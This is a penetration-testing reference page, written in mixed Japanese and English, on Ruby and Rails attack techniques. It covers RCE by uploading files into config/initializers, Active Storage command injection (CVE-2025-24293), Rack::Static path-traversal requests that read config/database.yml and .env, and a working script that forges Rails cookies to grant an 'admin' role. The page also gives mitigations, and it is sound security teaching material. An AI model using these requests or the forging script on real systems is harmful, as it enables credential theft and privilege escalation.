Ruby トリック

Reading time: 8 minutes

ファイルアップロードによるRCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

ヒント:

• アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能であれば同様に危険です（例: config/initializers/ が典型）。もし任意のファイルアップロードが config/ 以下のどこかに置かれ、後で評価／require される場合、起動時に RCE を得る可能性があります。
• Rails が起動時にロードするコンテナイメージ内にユーザー制御のファイルをコピーするような dev/staging ビルドを探してください。

Active Storage image transformation → command execution (CVE-2025-24293)

アプリが Active Storage と image_processing + mini_magick を使用し、image transformation メソッドに信頼できないパラメータを渡す場合、Rails の 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたため、command injection を許す可能性がありました。

• A vulnerable pattern looks like:

<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

• テスト時に試すこと

• variant/processing オプション、変換名、または任意の ImageMagick 引数を受け取るエンドポイントを特定する。

• params[:t] と params[:v] をファズして、疑わしいエラーや実行の副作用を探す。メソッド名に影響を与えられる、または MiniMagick に到達する生引数を渡せる場合、image processor ホスト上で code exec を得られる可能性があります。

• 生成された variants に対して読み取りアクセスしかない場合、細工した ImageMagick 操作を使ってブラインドな exfiltration を試みる。

• 修正/検知

• Active Storage + image_processing + mini_magick を使用し、ユーザー制御の変換がある Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 を見かけたら、悪用可能と考えてください。アップグレードを推奨し、メソッド／パラメータの厳格な許可リスト適用と ImageMagick ポリシーの強化を行うよう勧めます。

Rack::Static の LFI / path traversal (CVE-2025-27610)

ターゲットスタックが Rack ミドルウェアを直接またはフレームワーク経由で使用している場合、rack の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、:root が未設定／誤設定だと Rack::Static 経由で Local File Inclusion を許す可能性があります。PATH_INFO にエンコードされたトラバーサルがあると、プロセスの作業ディレクトリや予期しない root 以下のファイルが露出することがあります。

• config.ru やミドルウェアスタックに Rack::Static をマウントしているアプリを探す。例えば静的パスに対してエンコードされたトラバーサルを試す:

GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

urls: に合わせて prefix を調整する。アプリがファイル内容で応答する場合、解決された :root 以下の任意のファイルへの LFI を得ている可能性が高い。

• 緩和策: Rack をアップグレードする。:root が公開ファイルのディレクトリのみを指し、明示的に設定されていることを確認する。

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails は secret_key_base から派生したキーを使ってクッキーを暗号化し署名します。If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. これは、アプリが cookies に roles、user IDs、または feature flags を格納している場合、しばしば authz bypass に繋がります。

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

注意:

• 古いアプリでは AES-256-CBC とソルト encrypted cookie / signed encrypted cookie、または JSON/Marshal シリアライザを使用している場合があります。ソルト、cipher、serializer を適宜調整してください。
• 侵害／評価時には、既存のすべてのクッキーを無効化するために secret_key_base をローテーションしてください。

See also (Ruby/Rails-specific vulns)

• Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
• Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)

参考

• Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
• GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v